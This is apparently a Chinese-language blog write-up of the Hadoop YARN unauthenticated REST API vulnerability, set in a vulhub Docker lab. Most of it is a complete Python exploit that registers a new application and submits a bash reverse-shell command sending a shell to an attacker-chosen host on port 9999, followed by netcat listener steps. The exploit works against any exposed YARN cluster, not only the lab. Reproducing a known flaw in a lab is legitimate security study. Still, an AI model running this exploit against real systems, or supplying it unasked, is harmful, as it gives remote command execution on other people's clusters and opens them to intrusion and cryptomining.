漏洞概述

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

受影响范围

Apache Hadoop YARN资源管理系统

环境搭建

cd /vulhub/hadoop/unauthorized-yarn
docker-compose up -d

在这里插入图片描述
环境搭建成功,未授权访问到页面
在这里插入图片描述

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = 'x.x.x.x' # 修改lhost反弹shell的IP

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

nc -lvvp 9999 #监听本地端口9999
运行exp python exploit.py
获取shell
在这里插入图片描述

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐